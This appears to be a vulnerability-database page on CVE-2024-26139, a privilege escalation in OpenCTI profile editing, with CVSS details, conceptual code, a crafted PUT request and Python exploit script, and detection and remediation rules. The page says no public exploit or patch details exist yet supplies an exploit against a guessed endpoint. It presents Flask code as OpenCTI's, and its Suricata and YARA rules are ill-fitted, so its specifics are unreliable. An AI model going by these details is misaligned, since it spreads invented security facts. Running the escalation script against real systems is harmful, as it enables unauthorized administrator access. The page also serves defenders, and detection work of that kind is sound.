CVE-2024-26139
Executive Summary
CVE-2024-26139 is a privilege escalation vulnerability in the OpenCTI platform, an open-source cyber threat intelligence (CTI) management system. The flaw resides in the profile edit functionality, where insufficient security controls allow an authenticated attacker with low privileges to escalate their role to administrator. This can lead to full compromise of the CTI knowledge base, observables, and connected systems. The CVSS score of 8.3 (High) reflects the severe impact on confidentiality, integrity, and availability, despite requiring authentication. No public exploit code or patch details are currently available, but the vulnerability is actively monitored.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs a low-privilege account.
- User Interaction (UI): None (N) – No victim action needed.
- Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
- Confidentiality (C): High (H) – Full read access to all CTI data.
- Integrity (I): High (H) – Ability to modify or delete threat intelligence.
- Availability (A): High (H) – Potential to disrupt platform operations.
Threat Level: High. The low complexity and low privilege requirement make this a prime target for internal attackers or those who have compromised a low-privilege account.
Deep Dive & Mechanics
The vulnerability exists in the profile editing endpoint of OpenCTI. The application fails to properly validate that the user modifying their profile is only allowed to change their own non-privileged attributes. By manipulating the request (e.g., adding a role parameter or modifying a hidden field), an attacker can assign themselves the Administrator role. The lack of server-side authorization checks on the role assignment field allows this privilege escalation.
The attack flow:
- Attacker authenticates as a low-privilege user (e.g.,
Observer). - Attacker sends a crafted HTTP request to the profile update endpoint (e.g.,
PUT /api/profile). - The request includes a parameter like
role=adminorgroups=[admin_group_id]. - The server updates the user's role without verifying the user's current permissions to change roles.
- The attacker now has administrative access.
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code pattern is described conceptually.
Vulnerable Code (Conceptual):
# Vulnerable: No check on role assignment
@app.route('/api/profile', methods=['PUT'])
@login_required
def update_profile():
user = get_current_user()
data = request.get_json()
user.name = data.get('name', user.name)
user.email = data.get('email', user.email)
user.role = data.get('role', user.role) # No authorization check
db.session.commit()
return jsonify(success=True)
Patched Code (Conceptual):
# Patched: Role change requires admin privileges
@app.route('/api/profile', methods=['PUT'])
@login_required
def update_profile():
user = get_current_user()
data = request.get_json()
user.name = data.get('name', user.name)
user.email = data.get('email', user.email)
# Only allow role change if current user is admin
if 'role' in data and not current_user.is_admin():
return jsonify(error="Unauthorized"), 403
user.role = data.get('role', user.role)
db.session.commit()
return jsonify(success=True)
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running OpenCTI instance (e.g., version 5.x).
- A low-privilege user account (e.g.,
observerwith passwordobserver123).
Exploitation Steps:
- Log in to OpenCTI as the low-privilege user.
- Intercept the profile update request using a proxy (e.g., Burp Suite).
- Modify the request to include the
roleparameter:PUT /api/profile HTTP/1.1 Host: opencti.local Content-Type: application/json Authorization: Bearer <token> { "name": "attacker", "email": "attacker@example.com", "role": "admin" } - Send the request. If successful, the user's role is escalated.
- Verify by accessing an admin-only endpoint (e.g.,
/api/admin/users).
Automated Exploit (Python):
import requests
target = "https://opencti.local"
session = requests.Session()
# Login as low-privilege user
login_data = {"username": "observer", "password": "observer123"}
session.post(f"{target}/api/login", json=login_data)
# Escalate privilege
profile_data = {"name": "observer", "email": "observer@example.com", "role": "admin"}
r = session.put(f"{target}/api/profile", json=profile_data)
if r.status_code == 200:
print("Privilege escalation successful!")
else:
print("Failed:", r.text)
Blue Team
Detection:
- Monitor for unusual changes to user roles, especially from low-privilege to admin.
- Alert on API requests to
/api/profilethat include aroleparameter. - Review logs for
PUT /api/profilerequests from non-admin users.
Hunting Query (Splunk):
index=opencti sourcetype=api_logs
method=PUT uri=/api/profile
| search role=*
| table _time, user, role, src_ip
Mitigation:
- Apply input validation and server-side authorization checks.
- Implement role change audit logging.
- Restrict profile edit API to only allow changes to non-privileged fields.
Indicators of Compromise (IOCs)
- Network:
- HTTP
PUTrequests to/api/profilewith aroleparameter. - Unusual API calls to admin endpoints from previously low-privilege users.
- HTTP
- Host:
- Log entries showing role changes without admin approval.
- User accounts with unexpected
adminrole.
- File:
- Modified user database entries (e.g., in PostgreSQL or SQLite).
Detection Engineering
YARA Rule
rule CVE_2024_26139_OpenCTI_PrivEsc {
meta:
description = "Detects privilege escalation attempts in OpenCTI profile edit"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-26139"
strings:
$s1 = "role" ascii wide nocase
$s2 = "admin" ascii wide nocase
$s3 = "/api/profile" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: OpenCTI Privilege Escalation via Profile Edit
id: cve-2024-26139
status: experimental
description: Detects attempts to escalate privileges by modifying the role parameter in profile edit requests.
author: Valters IT
date: 2024/01/01
logsource:
category: web
product: opencti
detection:
selection:
http.method: 'PUT'
http.url: '/api/profile'
http.body|contains: 'role'
condition: selection
falsepositives:
- Legitimate admin profile updates (should be rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-26139 OpenCTI Privilege Escalation Attempt";
flow:to_server,established;
http.method; content:"PUT";
http.uri; content:"/api/profile";
http.request_body; content:"role";
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable profile edit functionality for non-admin users if possible.
- Implement a WAF rule to block requests containing
rolein the profile edit endpoint. - Audit all user accounts for unauthorized role changes.
Long-term Fix:
- Apply server-side authorization checks to ensure only admins can change roles.
- Use a whitelist of allowed fields for profile updates.
- Implement multi-factor authentication for role changes.
Workaround:
- Restrict network access to the OpenCTI API to trusted IPs only.
- Monitor logs for suspicious profile edit requests.
Patch Status: UNKNOWN. Monitor the OpenCTI GitHub repository for official patches.
Valters IT